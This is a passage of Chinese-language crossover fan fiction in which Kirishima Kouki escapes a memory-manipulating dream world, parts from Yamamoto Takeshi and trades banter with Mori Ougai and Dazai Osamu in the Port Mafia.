降谷零听到这里,情难自禁地发出轻笑:“你现在不也讨厌我?” “我可没有那样说。”雾岛光希耸了下肩,捏着茶杯的把手,说话时冰冷的杯壁贴近下唇,“后来发现你之所以那么卷,并不是为了让教官夸奖你,而是你真的认为那样就能维护这个社会的稳定,我就没那么讨厌你了。” 【理想的世界……吗】 “坚持待在保护人的一方吧。”雾岛光希的语调轻又缓,“虽说大部分卧底结束任务后就回不到以前了,但你大概不是那样的人。我不明白人为了自己的信念为什么可以做到和昔日的朋友断绝一切关系,每天只睡两三个小时的地步,沢田君说我很厉害,我觉得你才比较厉害。” 降谷零在雾岛光希的咖啡里闻到了酒精的气息。 他发现雾岛光希不是早上起来锻炼,而是昨天通了个宵。 “你是醉鬼吗。”降谷零无奈地问他。 雾岛光希抿了口掺酒的咖啡:“真失礼,我已经很久没有喝过酒了。” 胃不好。也没有可以一起喝酒的人。这几个月来,他就只和中原中也喝了一次。 降谷零没再回话。他只是安静地坐在雾岛光希的身边,连呼吸的幅度都刻意控制得很低。降谷零不是大白天就会喝酒的人,他需要保持警惕,也不是和雾岛光希能互相把对方喝醉的关系。 降谷零只是在回忆,自己以前究竟是在哪一刻改变对雾岛光希的看法的。 是他为了救个小孩,单手拉着松田系好的绳子直接从十楼跳下,结果在降落到离地面还有两层楼高的距离时,火焰把绳子燎断,雾岛只能抱着那个小孩,自己背部着地,阴沉着脸说“我讨厌小孩”的时候。 还是他那样近乎病态的,爱干净的人,却在凶手因为证据不足被释放的那天,捏紧被绳子磨出一道深深的伤疤的拳头,在泥水里揍了那个犯人一拳,被教官强制性压回去教训,结果难得大声地顶了一句“是他先侮辱我,写报告的却是我?如果法律真的有用,那他为什么还在犯罪”的时候。 衬衫被泥水浸湿了,银色的发丝也染上泥土的颜色,十六岁的雾岛光希表情十分倔强,松田阵平说要揍警视总监还会从长计议,雾岛光希说要揍人,那是不顾场合的真打。 当初的那个犯人,在他们毕业的前一个月,在再次犯案时被松田阵平和雾岛光希一起抓住了。 雾岛光希的长发被火焰燎黑了,脸上也全都是灰尘,松田阵平捧腹大笑,问他现在脏兮兮的是谁啊。雾岛光希被萩原研二捞着,腾空也要踹松田阵平一脚,那双眼睛仿佛在说[我还没嫌弃你,你竟敢嫌弃我?] 降谷零想到这里,才发现人对人的印象并不是从某一刻改变的,而是因为他们一直看着雾岛光希,所以才会慢慢改变的。 【理想的世界,根本不需要】 降谷零按在地毯上的手,无意识地碰到了雾岛光希的指尖。 谁也不是故意的。就像他们经历过的那样多的惊心动魄的事,哪件也不是假的。 降谷零的眼睛被低下的睫毛遮住。 【也不是完全为了日本的觉悟】 降谷零在成为公安以前,首先是个人。 他偶尔也是靠着回忆撑着的。 精神紧绷着,在这不管做了什么都不算数的世界里,那些回忆渐渐要淹没过理智。 回忆里的雾岛光希是档案里已经消失了的,二十二岁的降谷零的遗物。 降谷零事实上很了解雾岛光希。他知道怎样可以刺激到雾岛光希,把他记忆里的那个少年吓得活过来—— “我记得现在是早上七点。”门开了又关,站在玄关处的赤井秀一低下眼睛,看着垃圾桶里的酒瓶说道。 于是降谷零轻而易举地就从那样的卑鄙的思想中挣脱。 他微笑着,又变回了平日八面玲珑的样子。 降谷零说:“谁邀请你回来了。”- 小雾岛决定把从巴吉尔那里骗来的戒指还给沢田纲吉。他冥思苦想,虽然还是没打消要帮斯库瓦罗的思想,但一想到十年后的自己那副瞧不起人的眼神,就决定还是要靠暗杀和沢田纲吉一决胜负。 沢田纲吉要和xanxus就继承人的问题参与指环争夺战。 戒指沢田纲吉一半,xanxus一半,合二为一才能发挥出彭格列指环真正的力量。 然而争夺战都要开始了,沢田纲吉都还不知道所谓的戒指是什么。 于是下课的时候,十三岁的雾岛光希生怕被自己母亲发现自己“背叛”的事实,匆匆和在小卖铺买炒面面包的沢田纲吉说了一句“我在那个地方等你”就跑了。 二十三岁的雾岛光希和Reborn一起混在人群里注视着这一幕。 雾岛光希:“真青春啊。” Reborn:“我年轻的时候也是很帅的。” 雾岛光希:“……” Reborn:“光希,你再在心里想[你要是再年轻就变成胚胎了],我就赏你第四十七锤。” 小雾岛发现自己真和沢田纲吉交上了朋友,有点不好意思。 小雾岛也买了炒面面包,他掰碎了喂自己的新宠物,然而新宠物一直回头看,似乎是在看着被他们甩下的沢田纲吉。 小雾岛乖乖地上了课,到了放学和沢田纲吉约定的时间,却被狱寺隼人堵住了。 狱寺隼人的肩膀上不知道为什么站着他的新宠物,整个人跟中了邪一样,揪着惊愕的小雾岛的领子,质问他“为什么要对十代目做这种事!” 叛徒。 你把十代目弄去哪了。 明明几天前还因此威胁过雾岛光希,狱寺隼人却不受控制地说出了这一句。 小雾岛不理解。 小雾岛的嘴唇颤抖,他想说不是这样的,可视线一转,却发现总是温柔地背着自己回来的山本武视线冰冷,和狱寺一样失望地看着自己。 小雾岛太害怕了。 可他尽管害怕,也依旧发现了他们身上的肌肉紧绷着,指尖也微微颤抖,像是在挣脱谁的控制。 小雾岛要去救沢田纲吉。他挥开狱寺的手,头也不回地往外跑,越跑越快,越跑越快,呼吸急促,看到沢田纲吉确实在约定的地方等着他。 少年还穿着那身校服,见他这么急得跑过来,稍微吓了一跳,随即摸了摸后脑勺,有些紧张地问小雾岛“发生了什么事”。 Reborn站在雾岛光希的肩膀上,用稚嫩的童音说:“光希,你可以不用再看一遍的。” 血液从沢田纲吉的腹部缓缓落下,他愣愣地低头,连痛都没感觉到,就看到自己的朋友颤抖着手,一步一步地朝那个眼睛下方有着紫色刺青的人走去。 沢田纲吉嗫嚅着,小声说了句不要。 沢田纲吉被打倒了,他的手指无力地陷进泥土里,柔软的棕发也被雨水打湿。 沢田纲吉靠自己燃起了火炎,他那双本应如兔子般胆怯的眼睛变成漂亮的橙金色,近乎愤怒地大吼着。 ——把光希,把我的朋友还给我!! 十四岁的沢田纲吉,用死气之炎,在那个人的眼睛上留下了一道不可磨灭的伤疤。 【我不要】 【我不要回去】 二十三岁的雾岛光希听见了幼年的自己的心声。 但小雾岛没经历过七岁时的事件,本来不应该想到这些。 所以是从哪个被撬开一个口子的箱子中发出来的。 的的确确,是雾岛光希十三岁时的声音。 【为什么一直缠着我】 【为什么我会带来不幸】 那个小小的身影捂着脑袋,和那天坐在车里的太宰治的表情重合在一起。 【我还不如死了】 眼泪糊住了小雾岛的眼睛。他的眼睛被沢田纲吉的大空之炎照耀成金色的,整个人却很痛苦,他掐着自己的脖子,想要说话,却无论怎样都发不出声音。 世界变成了灰色的。 沢田纲吉捧着小雾岛的脸,死气之炎没有熄灭,额头抵着额头,用带着哭腔的嗓音说【“忘记吧。”】 忘记吧,光希,把那些令你感到痛苦的记忆都忘记吧。 小雾岛的表情有点茫然。 但他总算能发出了声音。 十四岁的沢田纲吉学不会封印,他之所以能做到,只是因为小雾岛身上的指环帮了他的忙。 彭格列的指环里寄宿着彭格列世代的灵魂,就算没有指环争夺战,作为彭格列唯一的血脉,沢田纲吉也终将是第十代首领。 小雾岛没了感情。 小雾岛的母亲把小雾岛带走了。 斯库瓦罗输给了山本武。 小雾岛的母亲因此非常生气,她对理解不了感情的小雾岛说,这一切都是沢田纲吉的错,他们伤害了你,也伤害了斯库瓦罗。他们说你是叛徒,他们的话是真心的。 真心的。 小雾岛的妈妈绝口不提她[伟大的白兰大人],尊敬后者到不惜扭曲事实,将一切都揽在自己的身上。 二十三岁的雾岛光希总算说了话。 他对Reborn说:“我要看的。” 灰色的老鼠还在看他。它是被雾岛光希从外界带进来的,也许是因为一直跟着雾岛光希,才一起被那位异能力者的能力波及到了。 它的眼睛圆圆的,仿佛在说[看啊,阿莱西奥,我们可是朋友,我帮你记起了一切,还帮你做到了你做不到的伤害幼年的你的事,你应该感谢我]。 整个世界开始发生剧烈的动荡。操控这个世界的异能力者不得已现身,他因为无法站稳而摔在了地上,还没来得及再次隐入虚无,就被雾岛光希一枪打中了胸膛。 精准地避开了重要的血管。 足以令他痛苦到站不起来,又不至于立即死去。 Reborn又说:“人都有失误的时候,我年轻的时候也有失误的时候。” 雾岛光希:“是指接受彩虹之子的诅咒吗?” 彩虹之子的诅咒可是逃也逃不掉的。 Reborn:“是指变成彩虹之子之后。” 软弱的身体撑不起世界第一的实力,Reborn那时颓废了好一段时间,直到他振作起来,才给自己取名叫Reborn,寓意为重生。 “你说是吧?”Reborn的唇角上扬,明明用的是小婴儿的身体,用枪口抬起帽檐的样子却很有魅力。 他黑漆漆的眼睛看向那只灰色的老鼠,灰色的老鼠歪了下脑袋,还没反应过来是怎么回事,后背就被橙红色的死气之炎燎到了,不得已从这个世界率先出去。 “蠢纲。” 那抹在额头抵着额头时,渗进小雾岛身体的大空之炎,在天空下亮了起来。这样的光芒越来越大,最后凝聚成一道人影。 倒映在雾岛光希眼睛里的,是二十四岁的,年轻的教父。 雾岛光希说:“你是不是有点太好心了。” 沢田纲吉无辜:“怎么是好心。是因为光希是我的朋友,我才这么做的。” 雾岛光希感慨:“你还真是平等地爱着每个敌人啊。” 沢田纲吉的笑容就跟天空一样,充满了宽和包容的意味。只要被他的眼睛注视,被注视的人就会产生自己真的被他爱着的错觉—— “我记得光希刚学会那个把爆/炸变成蝴蝶的招式时,对我的解释是魔法。但那其实是为了纪念帕比,对吗?” “在我所有现在的敌人里。” 沢田纲吉说到这,停顿片刻,轻笑道。 “光希,我最爱你。” 【能在最后的时刻以这种形式见到他……】 “我最爱你。”沢田纲吉又重复了一遍。 【真是太好了】 ——不是错觉。 他的魔法算什么。沢田纲吉都能把爱当成魔法。 棕褐色的羽毛舒展。 前后不过三分钟的时间,杉野甚至还没来得及动手,就看到自己花大价钱雇来的精神系异能力者浑身是血地从迷雾里出来,倒在地上。 而在迷雾之内那道身影修长,湛蓝色的火炎环绕在他周围,将白色的雾气驱散。 杉野睁大眼睛,在这一刻,总算看清,停在雾岛光希肩膀上的是什么东西。 这只身长不容小觑的鹰,有着熔金色的眼睛。它的全身被雨之火炎包裹,弯喙微张,原本拢着的翅膀张开,发出撕裂山谷般的鸣唳。 雾岛光希把玩着手上之前斯库瓦罗给自己的蓝色匣子,稍稍向上掂了一下。他的目光挪动,落在杉野的身上没有什么重量,却带着种令人不寒而栗的气魄。 “投降还是死亡。” 雾岛光希道。 “选一个吧。” 第50章 这是中原中也第一次看到雾岛光希使用火炎,而早在那只老鼠出现的下一秒,中原中也就用特制的玻璃罐罩住了他。少年的帽子是兰波当年送给魏尔伦,之后又送给他的,据说有着屏蔽外界指令,防止精神被操纵的功能,这也是森鸥外让他跟着雾岛光希的原因。 蓝色的火烧得很大,场面壮阔又瑰丽,让人想起沉静的海洋。雾岛光希的异能恶名在外,没想到火炎的属性却只有镇静的雨。 “你在里面发生什么了?”中原中也问他。 雾岛光希不知道怎样和他解释,只说“做了个美梦”。 “不过想到你还在外面,我就出来了。” 雾岛光希的身上确实有些东西发生了改变。 他从单纯学习公关官的行为模式,转变成了随心所欲。雾岛光希在这方面的确有些天赋,令中原中也不得不想起之前跟着尾崎红叶去谈生意时,有个部下在那边吐槽“意大利人看狗都深情”。 中原中也哑口无言。 他反而觉得雾岛更可怕了些。 没听清中原中也在想什么,雾岛光希打开酒店的窗户,一伸手,那只鹰就停止了盘旋,落在了他的手臂上。 “你不去洗澡吗?”雾岛光希问他,“明天下午就要回去了,趁回港口黑手党前,你可以休息下。” 中原中也看了眼桌子上的玻璃罐:“那东西怎么办?” “他是靠吸食火炎才能变强的。”在灰色的小老鼠一眨不眨地站着盯着自己时,雾岛光希无情地用块布罩在了玻璃罩上,“没人给他提供火炎,现在暂时没有威胁。” 【……果然最危险的还是雾岛】 雾岛光希:? 谁!谁又趁他不在的时候在中也面前说自己的坏话了! “等晚一点,要不要去楼下泡温泉?”雾岛光希的手往上抬了些,雨鹰就立即会意地飞起,落在罐子边的沙发背上,“前台的经理说晚上九点以后可以供单个房间的客人使用,不会有人进来。” 中原中也倒不介意和雾岛光希一起去泡温泉,只是他实在有些担心放雾岛光希一个人自己。 “你真的没事?”中原中也问他,“那群人投降后,你好像也没有放松下来。那个用异能的家伙,果然在捏造出的世界里对你做了什么吧?” 雾岛光希怔了怔,倒是没想到中原中也会注意到这个。 “没什么。”雾岛光希笑了下,想起自己从那个世界出来前的事。 小雾岛问他,如果和山本他们坦白,自己一开始就是冲着沢田纲吉来的,但没有真的想害死他,他还可以待在并盛吗。 雾岛光希反问他,你待在这究竟是因为不想回到意大利,还是因为这里有可以和你一起玩的朋友。 小雾岛噎了噎,他看上去有些心虚,不知道怎样回答这个问题。 于是雾岛光希告诉他,山本未来可是很厉害的杀手,你要是指望他一点也没有发现你的意图,那似乎有些异想天开。 小雾岛又说,你早就发现了那只老鼠不对,你是故意的,我果然还是讨厌你。 雾岛光希欺负他:你讨厌我也没用,毕竟你本来就是假的,我可不会因为做了正确的事就愧疚。 小雾岛沉默了很久。 小雾岛说,我和你不一样,那个FBI说得对,我一点也不喜欢当黑手党。干着不喜欢做的事,连痛苦都感受不到,这样的人生,一定很辛苦吧。 雾岛光希差一点就要留在那了。 最后的最后,雾岛光希蹲下身,告诉小雾岛,那就做你喜欢做的事。我和你的确不一样,你不是和狱寺说,就算当收银员,你也是最厉害的收银员吗。 “只不过忽然意识到,我好像错过了很多东西。” 雾岛光希说这话时,语气轻得没什么分量,笑意难以察觉地滚出来,细听又像是叹息。 “其实我还挺喜欢小孩的。” 中原中也盯着他。 雾岛光希听见他的心声:【其实我能看到雾岛在那个世界做的事】 【但要是让雾岛知道,把那个异能力者拎起来后,所有记忆会出现在我的脑子里,就变成窥探他的隐私了】 雾岛光希:嗯? 那家伙的异能力还有这种功效? “傻瓜鸟他们很喜欢你。”中原中也忽然说。 少年似乎是不太擅长说这样的话,但表情还是硬撑着。 他努力地装作是个大人,学着公关官他们曾经做的那样,去安慰面前的人。 “钢琴家说你的小提琴拉得很好,他第一次见到你的时候,你在钢琴边拉琴,他说能将他最喜欢的乐谱演奏得那么好的人,应当和传闻里的不一样,不至于脾气硬得像块石头。” 可中原中也再怎么装作,也装不出公关官真正的样子。 “所以,你不要……” 雾岛光希噗嗤一声笑了出来。 中原中也起初以为他在嘲笑自己,气还没生起来,就看着那双注视着自己的眼眸变得温柔。 “是因为沢田君说的那句吗?” ——我最爱你。 中原中也被说中了心思。他的脸一热,耳边捕捉到桌子上传来的撞击声。 [ghost]的灵魂似乎对他们的对话后很不满,可惜就算他把罐子撞得摇摇晃晃,雨鹰也不让他把遮住视野的布扯下来。 装不出来有什么关系呢。 中原中也就是中原中也。 他有着比自己更糟糕的身世,更糟糕的经历,却还是好好地长大,变成了今天的样子。 “那中也也喜欢我?”雾岛光希问他。 中原中也看着他,脸上的热意消退,原本紧张的神色逐渐放松下来。 “雾岛。”中原中也说,“你再等等我吧。我会成为可以肩负起港口黑手党的干部的。” 【不会再让他经历那种被迫和朋友分开的事,也不会再让他一个人面对类似魏尔伦那样的敌人】 【处决叛徒的事】 【手刃昔日同伴的事】 中原中也的神色平静又坚定,超越了雾岛光希的预料。 “你说要和我改进关系的时候,我的确很惊讶。”中原中也道,“因为我一直很喜欢你。” 是前辈,是尊敬的,中原中也刚加入黑手党时,视线不由自主地追寻的对象。 中原中也一旦认定一个人是同伴,那他们就是不可分割的同伴。 哐的一声,[ghost]在罐子里似乎气晕了。 雾岛光希恍然大悟:“这才一年,你真的长大了啊。” “那是自然。”中原中也双手环胸,用一种轻描淡写,又理所当然的语气说,“你以为我是谁啊。” 公关官对他的嘱托简直就是多此一举。 公关官那时候没想到自己还能活下来,只是和中原中也说,雾岛是他带进港口黑手党的,他那个人很容易把别人骂他的事情当真,看在他们朋友一场的份上,雾岛就交给他了。 对中原中也来说,这就是公关官的“遗言”。 中原中也发过誓,要为港口黑手党献上自己全部的忠诚与灵魂。 重力使的强大体现在,别说雾岛光希,就算是港口黑手党的一只小鸟,中原中也也会毫不犹豫地将它划入自己的领地- 雾岛光希最后还是没吃到山本武的饭团。因为第二天一早,他就收到了沢田纲吉重伤被送进医院的消息。 日本这天下了很大的雨。山本武站在雨幕里,肩上是那把抹了不知道多少人脖子的时雨金时,脸上没什么表情,叫人难以想象,这位在剑术方面登峰造极的雨之守护者,十年前还是个手握棒球棒,在球场里展露出发自内心的笑容的天然系少年。 山本武这样的表情持续到他注意到雾岛光希出现。 青年一如既往地爱干净,他站在雨棚下,没有要陪山本武一起淋雨的意思,山本武只能无奈地笑笑,低头和部下说了什么,抬腿向雾岛光希走去。 “这是什么?”山本武问。 “寿司。”雾岛光希把手里的食盒递给了他。 山本武有些惊讶:“你自己做的吗。” “买的。”雾岛光希表情沉重,“你也知道我做的东西不能吃。” 山本武忍不住笑了几声。 【以前他用有毒料理暗杀过我几次,我都吃出抗体了】 “抱歉啊。”山本武说,“本来想带你去并盛逛逛……” “我都想起来了。”雾岛光希打断他,“沢田纲吉是白痴,你也是白痴。” 山本武从“我都想起来了”这几个字后那就没再听。他的表情透露出些茫然,随即是喜忧参半的惊惧,山本武似乎担心想起来的雾岛光希会再次因为那种爆裂般的情绪把他自己压垮,一副想说点什么,却又怕自己说的话会刺激到对方,硬生生地忍回去的样子。 “有这么夸张么。”雾岛光希问他。 “比你想象得夸张得多。”山本武叹了口气,“阿纲说你那时候的情绪很糟糕,火炎蜿蜒着沿着皮肤的纹路在爬,如果不把你的记忆和情绪封住,你就要把你自己炸死了。” “我以前很怕ghost。”雾岛光希抱臂,用了无所谓的口吻,“现在我是成年人,我又不怕了。” 【就算我想冒险,狱寺可不让我冒这个险】 山本武想起那天雾岛光希被沢田纲吉带回来时,狱寺隼人的表情。 他们那时候接连经历了在沢田纲吉面前被斯库瓦罗打得毫无还手之力,被夺走彭格列指环,发现他们比自己想象得还要弱小的事实,下定决心想要变强。 可山本武第一次杀人的那天,握着剑的手依旧是抖着的。 那么不想成为黑手党,却生在黑手党里,两岁就被母亲要求饲养了许多宠物,又不得不亲手杀了它们的光希又是什么心情呢。 山本武忍不住去想,光希长大的每一年,都在经历和他一样的恐惧吗。 后来杀人杀得多了,山本武就不怕了。 雾岛光希大概也是这样。 不想成为首领的人成为了首领。握着棒球的手变成了握剑的手。 命运弄人。 “山本叔叔这边我会帮忙看着的。”雾岛光希说,“早去早回,我可不想在战场上背你回去。” 登机的时间快要到了。但那本身就是彭格列的专机,稍微迟到一会也无所谓。 山本武注视着面前的雾岛光希,感到落在肩头的雨水,忽的重重地叹了口气。 “光希。”他说,“你要不是在这个时刻想起来的就好了。” 雾岛光希:“你说的自己好像要死了一样。” 山本武:“可以亲你吗?” 远处背对着这边的中原中也吓了一跳。 【完全无视我吗!混蛋!我也没有小到他看不到的地步吧!!】 雾岛光希:“不可以。” 山本武:“一直戴着围巾,是因为脖子上被人咬了吗?” 中原中也:【……】 雾岛光希微笑:“你的话太多了。” 山本武唇角的笑意无辜:“不喜欢的话,还是趁早拒绝为好。当然,就算光希有交往的对象,我也会邀请你出去吃饭的。毕竟我们可是朋友,不是吗?” 【这家伙……】 中原中也的语气沉重。 【真的是绿茶啊】 雾岛光希:“……” 雾岛光希抱臂的双手松开:“你故意说这种话做什么?” 【说不定真的是最后一次见面了】 山本武的面上看不出丝毫紧张之色,内心却清晰地认知到,自己这一去,不知道能活多久。 山本武抱住了雾岛光希。 他的拥抱力度不大,一只手托在雾岛光希的颈后,身上雨水的湿意源源不断地传了过来。 山本武想说,光希,一开始明明是你在追我。 山本武想说,光希,我真的等了你好久。 山本武还想说—— “再见了,光希。”山本武轻笑着,和雾岛光希说道。 ——真正想说的,山本武没说出来。 飞机在雨幕中起飞了。直到看不见地面上的人和物,坐在窗边的山本武才收回目光。他打开放在膝盖上的食盒,发现里面是用米饭捏成的圆形,米饭还是温热的,制作的人应该起了个大早,海苔在上面绕了两圈,隐约可以看出棒球的形状。 山本武弯了弯唇角。 他咬了一口,发现不是太好吃,也不是太难吃。 但这大概是雾岛光希第一次做出的,不是有毒料理的东西。 飞机往意大利的方向飞去,从上往下看,可以看到缩小的并盛。由于云雀恭弥的执着,十年过去,并盛的布置并未发生很大的变化,并盛中学依旧在最中间的位置,周围的路四通八达,绕成一圈又一圈。 并盛的这样路,山本武背着雾岛光希走过很多遍。 第一遍走的时候,山本武对他提起警惕,脸上笑眯眯的,嘴里却在打听对方接近自己和阿纲的目的。 第二遍走的时候,即使是山本武也忍不住感慨雾岛光希真是太倒霉,怎么连陨石的碎片也能精准地攻击到他。 第三遍走的时候,山本武问他,你也在玩黑手党游戏吗,今天把那些人从阿纲身边赶跑的是你吧? 第四遍,第五遍,第六遍…… 第四十六遍的时候,山本武托着少年的腿弯,故意走的很慢。 他问雾岛光希,光希,我可以亲你吗。 雾岛光希趴在他的背上,呼吸均匀,睡梦中含糊不清地“嗯”了声。 然而还没等他得手,十四岁的狱寺隼人就晃了晃手里的炸药,阴沉着脸,幽幽地说了一句【“棒球白痴,你信不信我真的炸了你”】。 山本武关上了食盒。 青年的手受了伤,他早就打不了棒球了,狱寺隼人也很少再喊他棒球白痴。 山本武想,并盛的路好短,一下子就走完了。 “不可以吃。”在小次郎好奇地往食盒凑近的时候,山本武笑了笑,抬手按住了它的脑袋。 彭格列的雨之守护者说道:“这可是我唯一和光希有关的东西了。”—— 作者有话说:*好想原地完结,这样我就可以写分结局了,躺平魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 回到港口黑手党后,除了处理工作和协助部下训练,雾岛光希还开始学习起了人情世故。 “听说意大利的那位今早逝世了。” “如果您是想问葬礼相关的事宜,我已经和彭格列的山本君沟通过。” 雾岛光希的回答滴水不漏,连表情也找不到破绽,森鸥外观察了他一会,少顷说了一句:“我的意思不是这个。” 雾岛光希将分类整理好的文件放在森鸥外的办公桌上,听到这话抬了下眼:“那您指什么?” 【他怎么一点也不意外】 【沢田纲吉逝世,光希君难道不应该魂不守舍,至少掉两滴眼泪才对】 森鸥外:“你早就知道了?” 雾岛光希:“那天和中也回来之前,山本君和我提过一句对方的情况不容乐观。” ——能在最后的时刻见到他,真是太好了。 沢田纲吉执意参加谈判,加上他从沢田纲吉心声里捕捉到的这句,以及入江正一在事情发生前传递给他的情报,雾岛光希还有什么不理解的。 只不过,从狱寺隼人的口吻看,狱寺隼人和山本武似乎并不完全知晓沢田纲吉的计划,他们两个是真的在为沢田纲吉的事情而悲伤,悲伤过后就是愤怒,山本武击败密鲁菲奥雷一支小队的那天,山本刚的竹寿司店遭遇了袭击。 不过因为雾岛光希那时候正带着梦野久作在里面吃寿司,所以密鲁菲奥雷的人不仅没有得逞,反而还成为了雾岛光希教导梦野久作使用异能的工具。 雾岛光希真诚地:“您看上去很失望。” 森鸥外:【毕竟要是按计划的那样发展,我就又有理由责怪光希君,然后让他晚上九点以后和我一样继续加班了】 森鸥外:【我作为首领都得工作到凌晨两点,光希君却在十点以要睡觉了为由挂断我的电话,到底是他在为我工作,还是我在为他工作】 森鸥外微笑:“怎么会。” 已然从森鸥外的心声里得知真相,雾岛光希面不改色:“原来如此。” “什么原来如此。” “之前以为您疑神疑鬼是因为分离焦虑,没想到是因为您的癖好比较奇特。” “我有什么癖好?” “看到别人痛苦就兴奋的癖好。” 森鸥外眨了眨眼,这下倒是笑得真心实意的:“哦呀,也不用直接说出来吧。” “不说出来的话您会放过我吗?” 【其实说出来了我也不打算放过他】 除了本身欺负雾岛光希就是森鸥外缓解工作压力的方法之一,还有今天早上爱丽丝的一句“为什么林太郎看上去又老了一岁,但光希今天依旧很漂亮”的发言的原因在。 “听说白兰君最近又研发了一种机器。”和雾岛光希打趣了几句后,森鸥外的心情好了不少。他撑着脸,不紧不慢道,“什么七的三次方射线,说是什么[世界上最强的七个婴儿],结果在那种射线的影响下连呼吸都很困难,果然还是要完蛋了吧。” 七个彩虹之子,已经陆续失踪了两个。 雾岛光希语气微妙:“您又不是小婴儿,您担心什么。” 可能是被锤怕了,雾岛光希说完[小婴儿]这三个字,还反射性地往周围看了看。森鸥外注意到他的动作,想起前不久雾岛光希也是这样,明明周围什么也没有,注意力却落在空气上。 【他能听到什么奇怪的声音?】 “你说我要是把你送给白兰君,他会减少一点对港口黑手党的针对吗。”森鸥外若有所思,想出了一条新的道路。 “他对我又不感兴趣。”雾岛光希轻描淡写,“他只是和您一样,对用我来折磨另一个自己感兴趣。” ghost被关进罐子的第二天,就从可怜的小老鼠身上离开了。 他变成了一小团青色的火炎,在玻璃罐里可以充当照明灯,雾岛光希每天早上看书的时候就把他当灯用,只有睡觉的时候会嫌碍眼地罩上。 “ghost君今天妥协了?”森鸥外在这个情报上颇感兴趣。 “没有。”雾岛光希翻开文件的一页,示意森鸥外签字,“还在和他谈判,但只要把他放出来,他就会想着跑出去,或者去杀了中也和太宰。” 为了得到ghost的力量,港口黑手党花费重金在地下建了一间从里面逃不出去的房间。雾岛光希每天结束工作,就会把自己的“萤火虫灯”带进去,在里面边看书,边和ghost进行所谓的谈判。 虽然森鸥外说他的谈判方法是冷暴力,但雾岛光希实在没办法和对方好好说话。 ghost的样貌的确是另一个世界的白兰。 可ghost不穿衣服。 他归根结底还是一团火炎,小时候看着还不觉得有什么,长大以后雾岛光希只觉得他像个变态。 森鸥外提笔,扫了眼文件上的字后,在雾岛光希示意的地方签了字:“火炎的使用方法都教下去了?” “嗯。”雾岛光希合上文件,“有几个人意外地比我想象得要学得快。” 【要实在不行,光希君就牺牲一下吧】 森鸥外面不改色,在试探雾岛光希能听到的声音。 然而森鸥外在这句之后的心声被打了码,雾岛光希根本没听见。 “下次去那个房间之前至少告诉太宰他们。”森鸥外贴心道,“要是你在里面出了意外,光是海野在外面有什么用。” 雾岛光希反应了两秒,才反应过来森鸥外刚刚说的牺牲是什么意思。 “先暂且不提我对同性之间的身体交流有没有兴趣。”雾岛光希说,“您怎么不牺牲一下。” 森鸥外谦让:“ghost君又不喜欢我。再说了,爱丽丝都说我老了。” 雾岛光希:“老骥伏枥。” 森鸥外:“这个词不是这么用的。” 雾岛光希:“老当益壮。” 森鸥外:“光希君,我上过学,日语不好的话,你用英语我也听得懂。” 怎么一个两个都爱纠正他的用词。 当着森鸥外的面,雾岛光希把之前理好的文件像洗牌一样洗了一遍,随后又在森鸥外的注视中,礼貌地把小山一样的A4纸还给了他。 呵呵。 森鸥外叹了口气,在雾岛光希走后,有些头疼地对爱丽丝说:“所以光希君之前让我去看医生,是觉得我有对他的分离焦虑?” “他的报复心还真强。” 爱丽丝吃着雾岛光希给她带回来的寿司,看着动画片的小脑袋头也不抬。 她本来想说“林太郎,活该”,但又发现森鸥外没有真的生气,反而心情比刚刚更好了点。 尽管爱丽丝本质是森鸥外的异能,可她现在也有点搞不懂森鸥外在想什么。 有种今天不惹光希生气,或者不被光希报复一下,就缺少了什么仪式感的怪癖。 爱丽丝表情严肃,想起动画片里学到的知识。 可怜的光希。周围怎么全都是恶趣味的变态- 除了雾岛光希和中原中也外,太宰治最近也挺忙的。 由于答应了前者帮忙照看旗会,在太宰治的努力下,医疗部的进展可谓是一飞千里。毕竟他们原本还可以上上班,养养小白鼠,摸摸鱼,顺便告诉雾岛干部他们遇到了瓶颈,需要再等待一段时间—— 现在不一样了。 太宰治听到这样的话,只会故作惊讶地反问“海野君,他们欺骗了光希这么久,你说要怎么做?” 海野慎:“当然是……” 海野一抢答:“把他们舌头拔了贴电脑上!” 海野慎:“。” 海野一:“挖了他们的眼球用来泡酒!” 海野慎:你是魔鬼吗?!!! 取得了如此进展,太宰治一点也不担心雾岛光希回来后会躲着自己。事实上雾岛光希确实也不躲着他,好歹也是成年人,加上逃避是解决不了问题的,雾岛光希回来后还特地找太宰治谈过话。 “是什么时候开始的。” “大概光希十九岁的时候。” 那不都过去四年了。 听到太宰治的回答,雾岛光希又给自己做了会心理建设。 “也不全是我的错吧。”太宰治微笑,异常无辜地说,“毕竟光希那时候做什么事都不避开我。” 雾岛光希给自己做的心理建设不动如山。他思考了会自己到底当着太宰治的面做过什么,然而现在思考这个似乎没有意义。太宰现在十六岁,他二十三岁,等太宰治二十岁,他都二十七岁了。 太宰能喜欢他什么? 雾岛光希很期待看到二十岁太宰治成长起来的样子,太宰到了那时候,可能就不会再因为不想工作在地上滚来滚去了,也不会因为乱吃东西变成圈圈眼。 太宰如果能好好说话,在女生里的人气其实很高。 雾岛光希对太宰治寄予了全部的期待,却很难想象到自己二十七岁的样子。 他甚至不一定能活到那时候。 “光希现在心里一定在想,你甚至都不一定能活到我成年的时候。”太宰治的语气不轻不重,目光却自始至终都没从雾岛光希身上移开。 雾岛光希开始怀疑他其实才是有读心术的那个。 “看吧,不管是以前还是现在,光希总是会去规划如果自己不在了,我要怎么办的未来。”太宰治轻描淡写地说出这个折磨自己的现实的时候,没再像以前一样发脾气,也没再像以前一样用最恶毒的话攻击雾岛光希。 他以前很痛苦,于是想让雾岛光希和自己一样痛苦。 光希理解不了他对这个世界的失望,也理解不了他为什么没有活下去的决心,按照道理来讲,太宰治根本不应该在意雾岛光希。 他们是世界上最截然不同的两种人。 “我以前觉得光希就像块石头。” 太宰治平静地说,他注视着雾岛光希的目光静谧又平和,像是早就自己找到了答案。 “又臭又硬的,什么也不懂,我讨厌你的时候你发现不了,我喜欢你的时候你也发现不了,算上上次,我已经试图把光希赶走了快五十次。” 太宰治忽然笑起来:“每一次,光希都会等到我醒来。” 太宰治二十岁的样子初露端倪。 十六岁的太宰治是无数人噩梦的象征,他很少露出发自内心的笑容,眼睛里仿佛吸收了所有的光线,黑暗和绝望侵蚀了他,使得很少有人注意到,一开始就能读懂别人心思的太宰治,要是真想折磨一个人,生不如死的方法信手拈来。 后退是太宰治的温柔。 见雾岛光希不说话,太宰治的唇边溢出声笑。 “光希说我不能仗着你爱我就胡作非为。” 爱是什么呢? “光希每次说爱我,每次想到的未来就会把我抛下。” 从那个世界出来以后,雾岛光希倒是隐隐能感受到了。 